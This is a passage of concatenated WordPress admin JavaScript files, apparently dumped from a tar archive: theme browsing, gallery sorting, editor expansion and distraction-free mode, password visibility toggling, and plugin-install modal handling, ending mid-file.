wp.ajax.send("save-wporg-username",{data:{_wpnonce:i,username:t},success:function(){r.collection.query(s)}})},filtersChecked:function(){var e=n(".filter-group").find(":checkbox"),t=[];return _.each(e.filter(":checked"),function(e){t.push(n(e).prop("value"))}),0===t.length?(n(".filter-drawer .apply-filters").find("span").text(""),n(".filter-drawer .clear-filters").hide(),n("body").removeClass("filters-applied"),!1):(n(".filter-drawer .apply-filters").find("span").text(t.length),n(".filter-drawer .clear-filters").css("display","inline-block"),t)},activeClass:"current",uploader:function(){var e=n(".upload-view-toggle"),t=n(document.body);e.on("click",function(){t.toggleClass("show-upload-view"),e.attr("aria-expanded",t.hasClass("show-upload-view"))})},moreFilters:function(e){var t=n("body"),i=n(".drawer-toggle");if(e.preventDefault(),t.hasClass("filters-applied"))return this.backToFilters();this.clearSearch(),o.router.navigate(o.router.baseUrl("")),t.toggleClass("show-filters"),i.attr("aria-expanded",t.hasClass("show-filters"))},clearFilters:function(e){var t=n(".filter-group").find(":checkbox"),i=this;e.preventDefault(),_.each(t.filter(":checked"),function(e){return n(e).prop("checked",!1),i.filtersChecked()})},backToFilters:function(e){e&&e.preventDefault(),n("body").removeClass("filters-applied")},clearSearch:function(){n("#wp-filter-search-input").val("")}}),o.InstallerRouter=Backbone.Router.extend({routes:{"theme-install.php?theme=:slug":"preview","theme-install.php?browse=:sort":"sort","theme-install.php?search=:query":"search","theme-install.php":"sort"},baseUrl:function(e){return"theme-install.php"+e},themePath:"?theme=",browsePath:"?browse=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},navigate:e}),o.RunInstaller={init:function(){this.view=new o.view.Installer({section:"popular",SearchView:o.view.InstallerSearch}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this,i={};o.router=new o.InstallerRouter,o.router.on("route:preview",function(e){o.preview&&(o.preview.undelegateEvents(),o.preview.unbind()),t.view.view.theme&&t.view.view.theme.preview?(t.view.view.theme.model=t.view.collection.findWhere({slug:e}),t.view.view.theme.preview()):(i.theme=e,t.view.collection.query(i),t.view.collection.trigger("update"),t.view.collection.once("query:success",function(){n('div[data-slug="'+e+'"]').trigger("click")}))}),o.router.on("route:sort",function(e){e||(e="popular",o.router.navigate(o.router.baseUrl("?browse=popular"),{replace:!0})),t.view.sort(e),o.preview&&o.preview.close()}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("focus").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},n(function(){(o.isInstall?o.RunInstaller:o.Run).init(),n(document.body).on("click",".load-customize",function(){var e=n(this),t=document.createElement("a");t.href=e.prop("href"),t.search=n.param(_.extend(wp.customize.utils.parseQueryString(t.search.substr(1)),{return:window.location.href})),e.prop("href",t.href)}),n(".broken-themes .delete-theme").on("click",function(){return confirm(_wpThemeSettings.settings.confirmDelete)})})}(jQuery),jQuery(function(r){window.tb_position=function(){var e=r("#TB_window"),t=r(window).width(),i=r(window).height(),t=1040<t?1040:t,s=0;r("#wpadminbar").length&&(s=parseInt(r("#wpadminbar").css("height"),10)),1<=e.length&&(e.width(t-50).height(i-45-s),r("#TB_iframeContent").width(t-50).height(i-75-s),e.css({"margin-left":"-"+parseInt((t-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth)&&e.css({top:20+s+"px","margin-top":"0"})},r(window).on("resize",function(){tb_position()})}); js/gallery.js 0000644 00000012647 15233246127 0007174 0 ustar 00 /** * @output wp-admin/js/gallery.js */ /* global unescape, getUserSetting, setUserSetting, wpgallery, tinymce */ jQuery( function($) { var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false; gallerySortableInit = function() { gallerySortable = $('#media-items').sortable( { items: 'div.media-item', placeholder: 'sorthelper', axis: 'y', distance: 2, handle: 'div.filename', stop: function() { // When an update has occurred, adjust the order for each item. var all = $('#media-items').sortable('toArray'), len = all.length; $.each(all, function(i, id) { var order = desc ? (len - i) : (1 + i); $('#' + id + ' .menu_order input').val(order); }); } } ); }; sortIt = function() { var all = $('.menu_order_input'), len = all.length; all.each(function(i){ var order = desc ? (len - i) : (1 + i); $(this).val(order); }); }; clearAll = function(c) { c = c || 0; $('.menu_order_input').each( function() { if ( this.value === '0' || c ) { this.value = ''; } }); }; $('#asc').on( 'click', function( e ) { e.preventDefault(); desc = false; sortIt(); }); $('#desc').on( 'click', function( e ) { e.preventDefault(); desc = true; sortIt(); }); $('#clear').on( 'click', function( e ) { e.preventDefault(); clearAll(1); }); $('#showall').on( 'click', function( e ) { e.preventDefault(); $('#sort-buttons span a').toggle(); $('a.describe-toggle-on').hide(); $('a.describe-toggle-off, table.slidetoggle').show(); $('img.pinkynail').toggle(false); }); $('#hideall').on( 'click', function( e ) { e.preventDefault(); $('#sort-buttons span a').toggle(); $('a.describe-toggle-on').show(); $('a.describe-toggle-off, table.slidetoggle').hide(); $('img.pinkynail').toggle(true); }); // Initialize sortable. gallerySortableInit(); clearAll(); if ( $('#media-items>*').length > 1 ) { w = wpgallery.getWin(); $('#save-all, #gallery-settings').show(); if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) { wpgallery.mcemode = true; wpgallery.init(); } else { $('#insert-gallery').show(); } } }); /* gallery settings */ window.tinymce = null; window.wpgallery = { mcemode : false, editor : {}, dom : {}, is_update : false, el : {}, I : function(e) { return document.getElementById(e); }, init: function() { var t = this, li, q, i, it, w = t.getWin(); if ( ! t.mcemode ) { return; } li = ('' + document.location.search).replace(/^\?/, '').split('&'); q = {}; for (i=0; i<li.length; i++) { it = li[i].split('='); q[unescape(it[0])] = unescape(it[1]); } if ( q.mce_rdomain ) { document.domain = q.mce_rdomain; } // Find window & API. window.tinymce = w.tinymce; window.tinyMCE = w.tinyMCE; t.editor = tinymce.EditorManager.activeEditor; t.setup(); }, getWin : function() { return window.dialogArguments || opener || parent || top; }, setup : function() { var t = this, a, ed = t.editor, g, columns, link, order, orderby; if ( ! t.mcemode ) { return; } t.el = ed.selection.getNode(); if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) { if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) { t.el = g[0]; } else { if ( getUserSetting('galfile') === '1' ) { t.I('linkto-file').checked = 'checked'; } if ( getUserSetting('galdesc') === '1' ) { t.I('order-desc').checked = 'checked'; } if ( getUserSetting('galcols') ) { t.I('columns').value = getUserSetting('galcols'); } if ( getUserSetting('galord') ) { t.I('orderby').value = getUserSetting('galord'); } jQuery('#insert-gallery').show(); return; } } a = ed.dom.getAttrib(t.el, 'title'); a = ed.dom.decode(a); if ( a ) { jQuery('#update-gallery').show(); t.is_update = true; columns = a.match(/columns=['"]([0-9]+)['"]/); link = a.match(/link=['"]([^'"]+)['"]/i); order = a.match(/order=['"]([^'"]+)['"]/i); orderby = a.match(/orderby=['"]([^'"]+)['"]/i); if ( link && link[1] ) { t.I('linkto-file').checked = 'checked'; } if ( order && order[1] ) { t.I('order-desc').checked = 'checked'; } if ( columns && columns[1] ) { t.I('columns').value = '' + columns[1]; } if ( orderby && orderby[1] ) { t.I('orderby').value = orderby[1]; } } else { jQuery('#insert-gallery').show(); } }, update : function() { var t = this, ed = t.editor, all = '', s; if ( ! t.mcemode || ! t.is_update ) { s = '[gallery' + t.getSettings() + ']'; t.getWin().send_to_editor(s); return; } if ( t.el.nodeName !== 'IMG' ) { return; } all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) ); all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, ''); all += t.getSettings(); ed.dom.setAttrib(t.el, 'title', all); t.getWin().tb_remove(); }, getSettings : function() { var I = this.I, s = ''; if ( I('linkto-file').checked ) { s += ' link="file"'; setUserSetting('galfile', '1'); } if ( I('order-desc').checked ) { s += ' order="DESC"'; setUserSetting('galdesc', '1'); } if ( I('columns').value !== 3 ) { s += ' columns="' + I('columns').value + '"'; setUserSetting('galcols', I('columns').value); } if ( I('orderby').value !== 'menu_order' ) { s += ' orderby="' + I('orderby').value + '"'; setUserSetting('galord', I('orderby').value); } return s; } }; js/editor-expand.min.js 0000644 00000032213 15233246127 0011051 0 ustar 00 /*! This file is auto-generated */ !function(F,I){"use strict";var L=I(F),M=I(document),V=I("#wpadminbar"),N=I("#wpfooter");I(function(){var g,e,u=I("#postdivrich"),h=I("#wp-content-wrap"),m=I("#wp-content-editor-tools"),w=I(),H=I(),b=I("#ed_toolbar"),v=I("#content"),i=v[0],o=0,x=I("#post-status-info"),y=I(),T=I(),B=I("#side-sortables"),C=I("#postbox-container-1"),S=I("#post-body"),O=F.wp.editor&&F.wp.editor.fullscreen,r=function(){},l=function(){},z=!1,E=!1,k=!1,A=!1,W=0,K=56,R=20,Y=300,f=h.hasClass("tmce-active")?"tinymce":"html",U=!!parseInt(F.getUserSetting("hidetb"),10),D={windowHeight:0,windowWidth:0,adminBarHeight:0,toolsHeight:0,menuBarHeight:0,visualTopHeight:0,textTopHeight:0,bottomHeight:0,statusBarHeight:0,sideSortablesHeight:0},a=F._.throttle(function(){var t=F.scrollX||document.documentElement.scrollLeft,e=F.scrollY||document.documentElement.scrollTop,o=parseInt(i.style.height,10);i.style.height=Y+"px",i.scrollHeight>Y&&(i.style.height=i.scrollHeight+"px"),void 0!==t&&F.scrollTo(t,e),i.scrollHeight<o&&p()},300);function P(){var t=i.value.length;g&&!g.isHidden()||!g&&"tinymce"===f||(t<o?a():parseInt(i.style.height,10)<i.scrollHeight&&(i.style.height=Math.ceil(i.scrollHeight)+"px",p()),o=t)}function p(t){var e,o,i,n,s,f,a,d,c,u,r,l,p;O&&O.settings.visible||(e=L.scrollTop(),o="scroll"!==(u=t&&t.type),i=g&&!g.isHidden(),n=Y,s=S.offset().top,f=h.width(),!o&&D.windowHeight||(p=L.width(),(D={windowHeight:L.height(),windowWidth:p,adminBarHeight:600<p?V.outerHeight():0,toolsHeight:m.outerHeight()||0,menuBarHeight:y.outerHeight()||0,visualTopHeight:w.outerHeight()||0,textTopHeight:b.outerHeight()||0,bottomHeight:x.outerHeight()||0,statusBarHeight:T.outerHeight()||0,sideSortablesHeight:B.height()||0}).menuBarHeight<3&&(D.menuBarHeight=0)),i||"resize"!==u||P(),p=i?(a=w,l=H,D.visualTopHeight):(a=b,l=v,D.textTopHeight),(i||a.length)&&(u=a.parent().offset().top,r=l.offset().top,l=l.outerHeight(),(i?Y+p:Y+20)+5<l?((!z||o)&&e>=u-D.toolsHeight-D.adminBarHeight&&e<=u-D.toolsHeight-D.adminBarHeight+l-n?(z=!0,m.css({position:"fixed",top:D.adminBarHeight,width:f}),i&&y.length&&y.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),a.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):(z||o)&&(e<=u-D.toolsHeight-D.adminBarHeight?(z=!1,m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):e>=u-D.toolsHeight-D.adminBarHeight+l-n&&(z=!1,m.css({position:"absolute",top:l-n,width:f}),i&&y.length&&y.css({position:"absolute",top:l-n,width:f-2}),a.css({position:"absolute",top:l-n+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}))),(!E||o&&U)&&e+D.windowHeight<=r+l+D.bottomHeight+D.statusBarHeight+1?t&&0<t.deltaHeight&&t.deltaHeight<100?F.scrollBy(0,t.deltaHeight):i&&U&&(E=!0,T.css({position:"fixed",bottom:D.bottomHeight,visibility:"",width:f-2}),x.css({position:"fixed",bottom:0,width:f})):(!U&&E||(E||o)&&e+D.windowHeight>r+l+D.bottomHeight+D.statusBarHeight-1)&&(E=!1,T.attr("style",U?"":"visibility: hidden;"),x.attr("style",""))):o&&(m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),T.attr("style",U?"":"visibility: hidden;"),x.attr("style","")),C.width()<300&&600<D.windowWidth&&M.height()>B.height()+s+120&&D.windowHeight<l?(D.sideSortablesHeight+K+R>D.windowHeight||k||A?e+K<=s?(B.attr("style",""),k=A=!1):W<e?k?(k=!1,d=B.offset().top-D.adminBarHeight,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!A&&D.sideSortablesHeight+B.offset().top+R<e+D.windowHeight&&(A=!0,B.css({position:"fixed",top:"auto",bottom:R})):e<W&&(A?(A=!1,d=B.offset().top-R,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!k&&B.offset().top>=e+K&&(k=!0,B.css({position:"fixed",top:K,bottom:""}))):(s-K<=e?B.css({position:"fixed",top:K}):B.attr("style",""),k=A=!1),W=e):(B.attr("style",""),k=A=!1),o)&&(h.css({paddingTop:D.toolsHeight}),i?H.css({paddingTop:D.visualTopHeight+D.menuBarHeight}):v.css({marginTop:D.textTopHeight})))}function n(){P(),p()}function X(t){for(var e=1;e<6;e++)setTimeout(t,500*e)}function t(){F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.addClass("wp-editor-expand"),L.on("scroll.editor-expand resize.editor-expand",function(t){p(t.type),clearTimeout(e),e=setTimeout(p,100)}),M.on("wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand",p).on("postbox-toggled.editor-expand postbox-moved.editor-expand",function(){!k&&!A&&F.pageYOffset>K&&(A=!0,F.scrollBy(0,-1),p(),F.scrollBy(0,1)),p()}).on("wp-window-resized.editor-expand",function(){g&&!g.isHidden()?g.execCommand("wpAutoResize"):P()}),v.on("focus.editor-expand input.editor-expand propertychange.editor-expand",P),r(),O&&O.pubsub.subscribe("hidden",n),g&&(g.settings.wp_autoresize_on=!0,g.execCommand("wpAutoResizeOn"),g.isHidden()||g.execCommand("wpAutoResize")),g&&!g.isHidden()||P(),p(),M.trigger("editor-expand-on")}function s(){var t=parseInt(F.getUserSetting("ed_size",300),10);t<50?t=50:5e3<t&&(t=5e3),F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.removeClass("wp-editor-expand"),L.off(".editor-expand"),M.off(".editor-expand"),v.off(".editor-expand"),l(),O&&O.pubsub.unsubscribe("hidden",n),I.each([w,b,m,y,x,T,h,H,v,B],function(t,e){e&&e.attr("style","")}),z=E=k=A=!1,g&&(g.settings.wp_autoresize_on=!1,g.execCommand("wpAutoResizeOff"),g.isHidden()||(v.hide(),t&&g.theme.resizeTo(null,t))),t&&v.height(t),M.trigger("editor-expand-off")}M.on("tinymce-editor-init.editor-expand",function(t,f){var a=F.tinymce.util.VK,e=_.debounce(function(){I(".mce-floatpanel:hover").length||F.tinymce.ui.FloatPanel.hideAll(),I(".mce-tooltip").hide()},1e3,!0);function o(t){t=t.keyCode;t<=47&&t!==a.SPACEBAR&&t!==a.ENTER&&t!==a.DELETE&&t!==a.BACKSPACE&&t!==a.UP&&t!==a.LEFT&&t!==a.DOWN&&t!==a.UP||91<=t&&t<=93||112<=t&&t<=123||144===t||145===t||i(t)}function i(t){var e,o,i,n,s=function(){var t,e,o=f.selection.getNode();if(f.wp&&f.wp.getView&&(t=f.wp.getView(o)))e=t.getBoundingClientRect();else{t=f.selection.getRng();try{e=t.getClientRects()[0]}catch(t){}e=e||o.getBoundingClientRect()}return!!e.height&&e}();s&&(o=(e=s.top+f.iframeElement.getBoundingClientRect().top)+s.height,e-=50,o+=50,i=D.adminBarHeight+D.toolsHeight+D.menuBarHeight+D.visualTopHeight,(n=D.windowHeight-(U?D.bottomHeight+D.statusBarHeight:0))-i<s.height||(e<i&&(t===a.UP||t===a.LEFT||t===a.BACKSPACE)?F.scrollTo(F.pageXOffset,e+F.pageYOffset-i):n<o&&F.scrollTo(F.pageXOffset,o+F.pageYOffset-n)))}function n(t){t.state||p()}function s(){L.on("scroll.mce-float-panels",e),setTimeout(function(){f.execCommand("wpAutoResize"),p()},300)}function d(){L.off("scroll.mce-float-panels"),setTimeout(function(){var t=h.offset().top;F.pageYOffset>t&&F.scrollTo(F.pageXOffset,t-D.adminBarHeight),P(),p()},100),p()}function c(){U=!U}"content"===f.id&&((g=f).settings.autoresize_min_height=Y,w=h.find(".mce-toolbar-grp"),H=h.find(".mce-edit-area"),T=h.find(".mce-statusbar"),y=h.find(".mce-menubar"),r=function(){f.on("keyup",o),f.on("show",s),f.on("hide",d),f.on("wp-toolbar-toggle",c),f.on("setcontent wp-autoresize wp-toolbar-toggle",p),f.on("undo redo",i),f.on("FullscreenStateChanged",n),L.off("scroll.mce-float-panels").on("scroll.mce-float-panels",e)},l=function(){f.off("keyup",o),f.off("show",s),f.off("hide",d),f.off("wp-toolbar-toggle",c),f.off("setcontent wp-autoresize wp-toolbar-toggle",p),f.off("undo redo",i),f.off("FullscreenStateChanged",n),L.off("scroll.mce-float-panels")},u.hasClass("wp-editor-expand"))&&(r(),X(p))}),u.hasClass("wp-editor-expand")&&(t(),h.hasClass("html-active"))&&X(function(){p(),P()}),I("#adv-settings .editor-expand").show(),I("#editor-expand-toggle").on("change.editor-expand",function(){I(this).prop("checked")?(t(),F.setUserSetting("editor_expand","on")):(s(),F.setUserSetting("editor_expand","off"))}),F.editorExpand={on:t,off:s}}),I(function(){var i,n,t,s,f,a,d,c,u,r,l,p=I(document.body),o=I("#wpcontent"),g=I("#post-body-content"),e=I("#title"),h=I("#content"),m=I(document.createElement("DIV")),w=I("#edit-slug-box"),H=w.find("a").add(w.find("button")).add(w.find("input")),Y=I("#adminmenuwrap"),b=(I(),I(),"on"===F.getUserSetting("editor_expand","on")),v=!!b&&"on"===F.getUserSetting("post_dfw"),x=0,y=0,T=20;function B(){(s=g.offset()).right=s.left+g.outerWidth(),s.bottom=s.top+g.outerHeight()}function C(){b||(b=!0,M.trigger("dfw-activate"),h.on("keydown.focus-shortcut",R))}function S(){b&&(z(),b=!1,M.trigger("dfw-deactivate"),h.off("keydown.focus-shortcut"))}function O(){!v&&b&&(v=!0,h.on("keydown.focus",_),e.add(h).on("blur.focus",A),_(),F.setUserSetting("post_dfw","on"),M.trigger("dfw-on"))}function z(){v&&(v=!1,e.add(h).off(".focus"),k(),g.off(".focus"),F.setUserSetting("post_dfw","off"),M.trigger("dfw-off"))}function E(){(v?z:O)()}function _(t){var e,o=t&&t.keyCode;F.navigator.platform&&(e=-1<F.navigator.platform.indexOf("Mac")),27===o||87===o&&t.altKey&&(!e&&t.shiftKey||e&&t.ctrlKey)?k(t):t&&(t.metaKey||t.ctrlKey&&!t.altKey||t.altKey&&t.shiftKey||o&&(o<=47&&8!==o&&13!==o&&32!==o&&46!==o||91<=o&&o<=93||112<=o&&o<=135||144<=o&&o<=150||224<=o))||(i||(i=!0,clearTimeout(r),r=setTimeout(function(){m.show()},600),g.css("z-index",9998),m.on("mouseenter.focus",function(){B(),L.on("scroll.focus",function(){var t=F.pageYOffset;c&&d&&c!==t&&(d<s.top-T||d>s.bottom+T)&&k(),c=t})}).on("mouseleave.focus",function(){f=a=null,x=y=0,L.off("scroll.focus")}).on("mousemove.focus",function(t){var e=t.clientX,t=t.clientY,o=F.pageYOffset,i=F.pageXOffset;if(f&&a&&(e!==f||t!==a))if(t<=a&&t<s.top-o||a<=t&&t>s.bottom-o||e<=f&&e<s.left-i||f<=e&&e>s.right-i){if(x+=Math.abs(f-e),y+=Math.abs(a-t),(t<=s.top-T-o||t>=s.bottom+T-o||e<=s.left-T-i||e>=s.right+T-i)&&(10<x||10<y))return k(),f=a=null,void(x=y=0)}else x=y=0;f=e,a=t}).on("touchstart.focus",function(t){t.preventDefault(),k()}),g.off("mouseenter.focus"),u&&(clearTimeout(u),u=null),p.addClass("focus-on").removeClass("focus-off")),!n&&i&&(n=!0,V.on("mouseenter.focus",function(){V.addClass("focus-off")}).on("mouseleave.focus",function(){V.removeClass("focus-off")})),W())}function k(t){i&&(i=!1,clearTimeout(r),r=setTimeout(function(){m.hide()},200),g.css("z-index",""),m.off("mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus"),void 0===t&&g.on("mouseenter.focus",function(){(I.contains(g.get(0),document.activeElement)||l)&&_()}),u=setTimeout(function(){u=null,g.off("mouseenter.focus")},1e3),p.addClass("focus-off").removeClass("focus-on")),n&&(n=!1,V.off(".focus")),K()}function A(){setTimeout(function(){var t=document.activeElement.compareDocumentPosition(g.get(0));function e(t){return I.contains(t.get(0),document.activeElement)}2!==t&&4!==t||!(e(Y)||e(o)||e(N))||k()},0)}function W(){t||!i||w.find(":focus").length||(t=!0,w.stop().fadeTo("fast",.3).on("mouseenter.focus",K).off("mouseleave.focus"),H.on("focus.focus",K).off("blur.focus"))}function K(){t&&(t=!1,w.stop().fadeTo("fast",1).on("mouseleave.focus",W).off("mouseenter.focus"),H.on("blur.focus",W).off("focus.focus"))}function R(t){t.altKey&&t.shiftKey&&87===t.keyCode&&E()}p.append(m),m.css({display:"none",position:"fixed",top:V.height(),right:0,bottom:0,left:0,"z-index":9997}),g.css({position:"relative"}),L.on("mousemove.focus",function(t){d=t.pageY}),I("#postdivrich").hasClass("wp-editor-expand")&&h.on("keydown.focus-shortcut",R),M.on("tinymce-editor-setup.focus",function(t,e){e.addButton("dfw",{active:v,classes:"wp-dfw btn widget",disabled:!b,onclick:E,onPostRender:function(){var t=this;e.on("init",function(){t.disabled()&&t.hide()}),M.on("dfw-activate.focus",function(){t.disabled(!1),t.show()}).on("dfw-deactivate.focus",function(){t.disabled(!0),t.hide()}).on("dfw-on.focus",function(){t.active(!0)}).on("dfw-off.focus",function(){t.active(!1)})},tooltip:"Distraction-free writing mode",shortcut:"Alt+Shift+W"}),e.addCommand("wpToggleDFW",E),e.addShortcut("access+w","","wpToggleDFW")}),M.on("tinymce-editor-init.focus",function(t,e){var o,i;function n(){l=!0}function s(){l=!1}"content"===e.id&&(I(e.getWin()),I(e.getContentAreaContainer()).find("iframe"),o=function(){e.on("keydown",_),e.on("blur",A),e.on("focus",n),e.on("blur",s),e.on("wp-autoresize",B)},i=function(){e.off("keydown",_),e.off("blur",A),e.off("focus",n),e.off("blur",s),e.off("wp-autoresize",B)},v&&o(),M.on("dfw-on.focus",o).on("dfw-off.focus",i),e.on("click",function(t){t.target===e.getDoc().documentElement&&e.focus()}))}),M.on("quicktags-init",function(t,e){var o;e.settings.buttons&&-1!==(","+e.settings.buttons+",").indexOf(",dfw,")&&(o=I("#"+e.name+"_dfw"),I(document).on("dfw-activate",function(){o.prop("disabled",!1)}).on("dfw-deactivate",function(){o.prop("disabled",!0)}).on("dfw-on",function(){o.addClass("active")}).on("dfw-off",function(){o.removeClass("active")}))}),M.on("editor-expand-on.focus",C).on("editor-expand-off.focus",S),v&&(h.on("keydown.focus",_),e.add(h).on("blur.focus",A)),F.wp=F.wp||{},F.wp.editor=F.wp.editor||{},F.wp.editor.dfw={activate:C,deactivate:S,isActive:function(){return b},on:O,off:z,toggle:E,isOn:function(){return v}}})}(window,window.jQuery); js/password-toggle.js 0000644 00000002473 15233246127 0010652 0 ustar 00 /** * Adds functionality for password visibility buttons to toggle between text and password input types. * * @since 6.3.0 * @output wp-admin/js/password-toggle.js */ ( function () { var toggleElements, status, input, icon, label, __ = wp.i18n.__; toggleElements = document.querySelectorAll( '.pwd-toggle' ); toggleElements.forEach( function (toggle) { toggle.classList.remove( 'hide-if-no-js' ); toggle.addEventListener( 'click', togglePassword ); } ); function togglePassword() { status = this.getAttribute( 'data-toggle' ); input = this.parentElement.children.namedItem( 'pwd' ); icon = this.getElementsByClassName( 'dashicons' )[ 0 ]; label = this.getElementsByClassName( 'text' )[ 0 ]; if ( 0 === parseInt( status, 10 ) ) { this.setAttribute( 'data-toggle', 1 ); this.setAttribute( 'aria-label', __( 'Hide password' ) ); input.setAttribute( 'type', 'text' ); label.innerHTML = __( 'Hide' ); icon.classList.remove( 'dashicons-visibility' ); icon.classList.add( 'dashicons-hidden' ); } else { this.setAttribute( 'data-toggle', 0 ); this.setAttribute( 'aria-label', __( 'Show password' ) ); input.setAttribute( 'type', 'password' ); label.innerHTML = __( 'Show' ); icon.classList.remove( 'dashicons-hidden' ); icon.classList.add( 'dashicons-visibility' ); } } } )(); js/plugin-install.js 0000644 00000015656 15233246127 0010502 0 ustar 00 /** * @file Functionality for the plugin install screens. * * @output wp-admin/js/plugin-install.js */ /* global tb_click, tb_remove, tb_position */ jQuery( function( $ ) { var tbWindow, $iframeBody, $tabbables, $firstTabbable, $lastTabbable, $focusedBefore = $(), $uploadViewToggle = $( '.upload-view-toggle' ), $wrap = $ ( '.wrap' ), $body = $( document.body ); window.tb_position = function() { var width = $( window ).width(), H = $( window ).height() - ( ( 792 < width ) ? 60 : 20 ), W = ( 792 < width ) ? 772 : width - 20; tbWindow = $( '#TB_window' ); if ( tbWindow.length ) { tbWindow.width( W ).height( H ); $( '#TB_iframeContent' ).width( W ).height( H ); tbWindow.css({ 'margin-left': '-' + parseInt( ( W / 2 ), 10 ) + 'px' }); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({ 'top': '30px', 'margin-top': '0' }); } } return $( 'a.thickbox' ).each( function() { var href = $( this ).attr( 'href' ); if ( ! href ) { return; } href = href.replace( /&width=[0-9]+/g, '' ); href = href.replace( /&height=[0-9]+/g, '' ); $(this).attr( 'href', href + '&width=' + W + '&height=' + ( H ) ); }); }; $( window ).on( 'resize', function() { tb_position(); }); /* * Custom events: when a Thickbox iframe has loaded and when the Thickbox * modal gets removed from the DOM. */ $body .on( 'thickbox:iframe:loaded', tbWindow, function() { /* * Return if it's not the modal with the plugin details iframe. Other * thickbox instances might want to load an iframe with content from * an external domain. Avoid to access the iframe contents when we're * not sure the iframe loads from the same domain. */ if ( ! tbWindow.hasClass( 'plugin-details-modal' ) ) { return; } iframeLoaded(); }) .on( 'thickbox:removed', function() { // Set focus back to the element that opened the modal dialog. // Note: IE 8 would need this wrapped in a fake setTimeout `0`. $focusedBefore.trigger( 'focus' ); }); function iframeLoaded() { var $iframe = tbWindow.find( '#TB_iframeContent' ); // Get the iframe body. $iframeBody = $iframe.contents().find( 'body' ); // Get the tabbable elements and handle the keydown event on first load. handleTabbables(); // Set initial focus on the "Close" button. $firstTabbable.trigger( 'focus' ); /* * When the "Install" button is disabled (e.g. the Plugin is already installed) * then we can't predict where the last focusable element is. We need to get * the tabbable elements and handle the keydown event again and again, * each time the active tab panel changes. */ $( '#plugin-information-tabs a', $iframeBody ).on( 'click', function() { handleTabbables(); }); // Close the modal when pressing Escape. $iframeBody.on( 'keydown', function( event ) { if ( 27 !== event.which ) { return; } tb_remove(); }); } /* * Get the tabbable elements and detach/attach the keydown event. * Called after the iframe has fully loaded so we have all the elements we need. * Called again each time a Tab gets clicked. * @todo Consider to implement a WordPress general utility for this and don't use jQuery UI. */ function handleTabbables() { var $firstAndLast; // Get all the tabbable elements. $tabbables = $( ':tabbable', $iframeBody ); // Our first tabbable element is always the "Close" button. $firstTabbable = tbWindow.find( '#TB_closeWindowButton' ); // Get the last tabbable element. $lastTabbable = $tabbables.last(); // Make a jQuery collection. $firstAndLast = $firstTabbable.add( $lastTabbable ); // Detach any previously attached keydown event. $firstAndLast.off( 'keydown.wp-plugin-details' ); // Attach again the keydown event on the first and last focusable elements. $firstAndLast.on( 'keydown.wp-plugin-details', function( event ) { constrainTabbing( event ); }); } // Constrain tabbing within the plugin modal dialog. function constrainTabbing( event ) { if ( 9 !== event.which ) { return; } if ( $lastTabbable[0] === event.target && ! event.shiftKey ) { event.preventDefault(); $firstTabbable.trigger( 'focus' ); } else if ( $firstTabbable[0] === event.target && event.shiftKey ) { event.preventDefault(); $lastTabbable.trigger( 'focus' ); } } /* * Open the Plugin details modal. The event is delegated to get also the links * in the plugins search tab, after the Ajax search rebuilds the HTML. It's * delegated on the closest ancestor and not on the body to avoid conflicts * with other handlers, see Trac ticket #43082. */ $( '.wrap' ).on( 'click', '.thickbox.open-plugin-details-modal', function( e ) { // The `data-title` attribute is used only in the Plugin screens. var title = $( this ).data( 'title' ) ? wp.i18n.sprintf( // translators: %s: Plugin name. wp.i18n.__( 'Plugin: %s' ), $( this ).data( 'title' ) ) : wp.i18n.__( 'Plugin details' ); e.preventDefault(); e.stopPropagation(); // Store the element that has focus before opening the modal dialog, i.e. the control which opens it. $focusedBefore = $( this ); tb_click.call(this); // Set ARIA role, ARIA label, and add a CSS class. tbWindow .attr({ 'role': 'dialog', 'aria-label': wp.i18n.__( 'Plugin details' ) }) .addClass( 'plugin-details-modal' ); // Set title attribute on the iframe. tbWindow.find( '#TB_iframeContent' ).attr( 'title', title ); }); /* Plugin install related JS */ $( '#plugin-information-tabs a' ).on( 'click', function( event ) { var tab = $( this ).attr( 'name' ); event.preventDefault(); // Flip the tab. $( '#plugin-information-tabs a.current' ).removeClass( 'current' ); $( this ).addClass( 'current' ); // Only show the fyi box in the description section, on smaller screen, // where it's otherwise always displayed at the top. if ( 'description' !== tab && $( window ).width() < 772 ) { $( '#plugin-information-content' ).find( '.fyi' ).hide(); } else { $( '#plugin-information-content' ).find( '.fyi' ).show(); } // Flip the content. $( '#section-holder div.section' ).hide(); // Hide 'em all. $( '#section-' + tab ).show(); }); 